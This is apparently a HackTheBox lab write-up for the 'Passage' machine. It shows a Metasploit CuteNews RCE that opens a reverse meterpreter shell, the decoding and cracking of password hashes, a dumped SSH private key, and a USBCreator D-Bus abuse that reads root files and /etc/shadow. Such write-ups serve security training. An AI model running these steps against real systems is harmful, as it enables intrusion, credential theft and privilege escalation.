Passage - Write-up - HackTheBox

noraj

2021-03-08

Contents

1 Information

READ THE WU ONLINE: https://blog.raw.pm/en/HackTheBox-Passage-write-up/

1.1 Box

- **Name:** Passage
- **Profile:** www.hackthebox.eu
- **Difficulty:** Medium
- **OS:** Linux
- **Points:** 30

Passage

OS: Linux

Difficulty: Medium

Points: 30

Release: 05 Sep 2020

IP: 10.10.10.206

Figure 1.1: Passage

2 Write-up

2.1 Overview

Install tools used in this WU on BlackArch Linux:

```
$ sudo pacman -S nmap exploit-db metasploit ruby-ctf-party haiti john peass
```

3 Passage

3.1 Network enumeration

Port and service scan with nmap:

```
# Nmap 7.80 scan initiated Mon Sep  7 14:40:30 2020 as: nmap -sSVC -p- -oA nmap_full -v
↪  10.129.8.231
Nmap scan report for 10.129.8.231
Host is up (0.027s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep  7 14:40:57 2020 -- 1 IP address (1 host up) scanned in 26.35 seconds
```

3.2 HTTP exploration

At the bottom of the main page we can read:

```
Powered by CuteNews
```

With exploitdb we can search exploits for `CuteNews`.

```
$ searchsploit CuteNews
```

One of the RSS post (http://10.129.8.231/index.php?do=rss&id=11) is telling us there is a Fail2Ban, so bruteforcing is useless.

> Due to unusually large amounts of traffic, we have implemented Fail2Ban on our website. Let it be known that excessive access to our server will be met with a two minute ban on your IP Address. While we do not wish to lock out our legitimate users, this decision is necessary in order to ensure a safe viewing experience. Please proceed with caution as you browse through our extensive news selection.

By checking the source code repository (https://github.com/CuteNews/cutenews-2.0) we can find some files or paths existing on the webserver without bruteforcing.

By consulting http://10.129.8.231/news.php we are redirected to http://passage.htb/CuteNews/rss.php, so a domain is used for a virtual host. Let's add it to our hosts file:

```
$ cat /etc/hosts | grep pass
10.129.8.231 passage.htb
```

3.3 HTTP exploitation

In EDB 46698, we see the login page is http://passage.htb/CuteNews/index.php?mod=main&opt=personal

This page leaks the exact version: `CuteNews 2.1.2`.

Let's register an account for the authenticated exploit: http://passage.htb/CuteNews/index.php?register

Then we can add the EDB exploit in msf:

```
$ cp /usr/share/exploitdb/exploits/php/remote/46698.rb .
$ nvim 46698.rb # Fix the comma
$ sudo cp 46698.rb /opt/metasploit/modules/exploits/unix/webapp/cutenews_avatar_rce.rb
$ sudo updatedb
```

So now we are finally able to use the exploit & gain a shell access:

```
$ msfconsole
msf5 > use exploit/unix/webapp/cutenews_avatar_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/cutenews_avatar_rce) > set PASSWORD noraj
PASSWORD => noraj
```

```
msf5 exploit(unix/webapp/cutenews_avatar_rce) > set USERNAME noraj
USERNAME => noraj
msf5 exploit(unix/webapp/cutenews_avatar_rce) > set rHOSTS 10.129.8.231
rHOSTS => 10.129.8.231
msf5 exploit(unix/webapp/cutenews_avatar_rce) > set LHOST 10.10.14.157
LHOST => 10.10.14.157
msf5 exploit(unix/webapp/cutenews_avatar_rce) > run

[*] Started reverse TCP handler on 10.10.14.157:4444
[*] http://10.129.8.231:80 - CuteNews is 2.1.2
[+] Authentication was successful with user: noraj
[*] Trying to upload lgepbxvv.php
[+] Upload successfully.
[*] Sending stage (38288 bytes) to 10.129.8.231
[*] Meterpreter session 1 opened (10.10.14.157:4444 -> 10.129.8.231:57094) at 2020-09-07
↪  15:50:18 +0200
meterpreter >
```

3.4 System enumeration

```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

```
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
nadav:x:1000:1000:Nadav,,,:/home/nadav:/bin/bash
paul:x:1001:1001:Paul Coles,,,:/home/paul:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
```

3.5 Elevation of Privilege (EoP): from www-data to paul

The folder `/var/www/html/CuteNews/cdata/users` contains users information in various files, eg. `09.`php etc. and the data is base64 encoded. So it's not easy to find info about a particular user at a glance.

With `cat ??.`php I displayed info about all users and then stripped the php directive to keep only the base64 data.

```
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYW
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODkxMDg5NjtzOjY6ImhhY2tlciI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6Im5vcmFqQGh0Yi5sb2NhbCI7czo1OiJub3JhaiI7fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJub3JhaiI7YToxMTp7czoyOiJpZCI7czoxMDoiMTU5OTQ4NDM5NSI7czo0OiJuYW1lIjtzOjU6Im
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MjA6ImhhY2tlckBoYWNrZXIuaGFja2VyIjtzOjY6ImhhY2tlciI7fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOj
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOj
YToxOntzOjQ6Im5hbWUiO2E6Mjp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2Oi
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5OTQ4NDM5NTtzOjU6Im5vcmFqIjt9fQ==
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0
```

Then I wrote a short ruby script (using ctf-party lib) to base64 decode each line.

```ruby
require 'ctf_party'
File.readlines('usersb64.txt').each do |line|
    puts line.chomp.from_b64
end
```

I obtained the following result by running `ruby usersb64.rb`:

```
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}
a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}
a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}
a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:
a:1:{s:2:"id";a:1:{i:1598910896;s:6:"hacker";}}
a:1:{s:5:"email";a:1:{s:15:"noraj@htb.local";s:5:"noraj";}}
a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}
a:1:{s:4:"name";a:1:{s:5:"noraj";a:11:{s:2:"id";s:10:"1599484395";s:4:"name";s:5:"noraj";s:3:"acl";s:1:"4";s:5
↪   hide";s:0:"";}}}
a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}
a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}
a:1:{s:5:"email";a:1:{s:20:"hacker@hacker.hacker";s:6:"hacker";}}
a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}
a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-
↪   meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid
↪   Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"
a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}
a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-
↪   coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul
↪   Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"
a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-
↪   swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim
↪   Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"
a:1:{s:4:"name";a:2:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s
↪   hide";s:0:"";}s:6:"hacker";a:11:{s:2:"id";s:10:"1598910896";s:4:"name";s:6:"hacker";s:3:"acl";s:1:"4";s:5:
↪   hide";s:0:"";}}}
a:1:{s:2:"id";a:1:{i:1599484395;s:5:"noraj";}}
```

I retrieved all the hashes to try to get them cracked.

```
admin:7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
sid:4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
paul:e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
kim:f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
egre55:4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
hacker:e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9
```

I used haiti to identify the hash type that looks like SHA-256.

```
$ haiti 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
Snefru-256 [JtR: snefru-256]
SHA-256 [HC: 1400] [JtR: raw-sha256]
RIPEMD-256
Haval-256 [JtR: haval-256-3]
GOST R 34.11-94 [HC: 6900] [JtR: gost]
GOST CryptoPro S-Box
SHA3-256 [HC: 17400]
Keccak-256 [HC: 17800] [JtR: raw-keccak-256]
Skein-256 [JtR: skein-256]
Skein-512(256)
```

And then used John the Ripper to crack some of them:

```
$ john hashes.txt -w /usr/share/wordlists/passwords/rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 6 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hacker           (hacker)
atlanta1         (paul)
```

Two users are on the system: paul & nadav, and hopefully we cracked paul's password so we are able to connect as paul and obtain the first flag.

```
www-data@passage:/var/www/html/CuteNews/cdata/users$ su paul
su paul
Password: atlanta1

paul@passage:/var/www/html/CuteNews/cdata/users$ cd
cd
paul@passage:~$ cat user.txt
cat user.txt
82727a23b73c48168c14aba87fc6a769
```

3.6 Waypoint

Let's save paul's SSH key as a waypoint because only SSH pubkey method is allowed.

```
$ paul@passage:~$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
+L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh
zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz
R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k
7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR
AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0
VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0
KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs
nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY
f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM
Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
-----END RSA PRIVATE KEY-----
```

```
$ chmod 600 paul_rsa.key
$ ssh paul@passage.htb -i paul_rsa.key
```

3.7 Elevation of Privilege (EoP): paul to nadav

I ran linpeas but that was useless, you had to guess the key was re-used by nadav as well, which is not very realistic.

```
$ ssh nadav@passage.htb -i paul_rsa.key
```

3.8 Elevation of Privilege (EoP): nadav to root

```
$ paul@passage:~$ groups nadav
nadav : nadav adm cdrom sudo dip plugdev lpadmin sambashare
```

It seems we will hack printers.

The first clue is that port 631 (Internet Printing Protocol(IPP)) is open on localhost.

```
$ ss -nlpt
State      Recv-Q Send-Q
↪   Local Address:Port
↪   Peer Address:Port
LISTEN     0      128
↪   *:22
↪   *:*
LISTEN     0      5
↪   127.0.0.1:631
↪   *:*
LISTEN     0      128
↪   :::80
↪   :::*
LISTEN     0      128
↪   :::22
↪   :::*
LISTEN     0      5
↪   ::1:631
↪   :::*
```

A second clue is that nadav is in `lpadmin` group.

A third clue if you list process:

```
$ ps -ef f
...
root       9774      1  0 07:35 ?        Ss     0:00 /usr/sbin/cupsd -l
lp         9779   9774  0 07:35 ?        S      0:00  \_ /usr/lib/cups/notifier/dbus dbus://
root       9775      1  0 07:35 ?        Ssl    0:00 /usr/sbin/cups-browsed
```

Let's find CUPS version:

```
$ apt policy cups
cups:
  Installed: 2.1.3-4ubuntu0.7
  Candidate: 2.1.3-4ubuntu0.7
  Version table:
```

```
*** 2.1.3-4ubuntu0.7 100
       100 /var/lib/dpkg/status
    2.1.3-4 500
       500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages
```

But it seems it's pretty much recent and patched. In fact CUPS was only a sneaky rabbit hole.

We can find some info about some files edited with vim in `.viminfo`.

`/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf`

```
<!DOCTYPE busconfig PUBLIC
 "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
 "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>

  <!-- Only root can own the service -->
  <policy user="root">
    <allow own="com.ubuntu.USBCreator"/>
  </policy>

  <!-- Allow anyone to invoke methods (further constrained by
       PolicyKit privileges -->
  <policy context="default">
    <allow send_destination="com.ubuntu.USBCreator"
           send_interface="com.ubuntu.USBCreator"/>
    <allow send_destination="com.ubuntu.USBCreator"
           send_interface="org.freedesktop.DBus.Introspectable"/>
    <allow send_destination="com.ubuntu.USBCreator"
           send_interface="org.freedesktop.DBus.Properties"/>
  </policy>

</busconfig>
```

`/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf`

```
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin
```

Let's find information on the D-BUS service object: See HackTricks - D-Bus Enumeration & Command Injection Privilege Escalation, (it's based on Oouch - Write-up - HackTheBox).

List interfaces of the service object.

```
$ nadav@passage:~$ busctl tree com.ubuntu.USBCreator
/com
  /com/ubuntu
    /com/ubuntu/USBCreator
```

Introspect an interface of the service object.

```
$ nadav@passage:~$ busctl introspect com.ubuntu.USBCreator /com/ubuntu/USBCreator
NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
com.ubuntu.USBCreator               interface -         -            -
.Image                              method    ssb       -            -
.KVMOk                              method    -         b            -
.KVMTest                            method    sa{ss}    -            -
.Shutdown                           method    -         -            -
.Unmount                            method    s         -            -
.Progress                           signal    u         -            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
```

See USBCreator D-Bus Privilege Escalation in Ubuntu Desktop.

```
$ dbus-send --system --print-reply --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator
↪  com.ubuntu.USBCreator.Image string:/root/root.txt string:/tmp/flag boolean:true
method return time=1599506246.809850 sender=:1.330 -> destination=:1.349 serial=25
↪  reply_serial=2

nadav@passage:/tmp$ cat flag
47a715c664ab8efbf982251c79968757
```

3.9 Bonus

```
$ dbus-send --system --print-reply --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator
↪  com.ubuntu.USBCreator.Image string:/etc/shadow string:/tmp/shadow boolean:true

$ cat /tmp/shadow | grep root
root:$6$mjc8Tvgr$L56bn5KQDtOyKRdXBTL4xcmT7FVWJbds.Fo0FVc11PWliaNu5ASAxKzaEddyaYGMxGQPUNo5UpxT/nawzS8TW0:18464:
```